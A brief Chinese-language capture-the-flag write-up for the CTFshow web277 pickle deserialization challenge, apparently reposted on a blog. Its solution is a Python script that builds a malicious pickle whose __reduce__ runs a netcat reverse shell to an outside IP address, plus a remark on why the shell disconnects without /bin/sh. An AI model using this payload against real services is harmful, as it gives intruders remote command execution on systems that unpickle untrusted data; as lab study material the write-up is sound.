目錄

• 源碼
• 題解
• 總結

---

源碼

查看源代碼 提示pickle,得知考點是pickle反序列化

---

題解

exp
試了幾次不能用bash,最后用了/bin/sh,因為環境里面沒有裝bash,得不到響應nc連上就會自動斷開

import base64 import pickleclass shell(object):def __reduce__(self):return (eval, ("__import__('os').system('nc 119.91.26.229 9999 -e /bin/sh')",))k = shell() print(base64.b64encode(pickle.dumps(k)))

---

總結

反彈必須要有連上以后執行的程序管道，否則就自動斷開

總結

以上是生活随笔為你收集整理的CTFshow 反序列化 web277的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。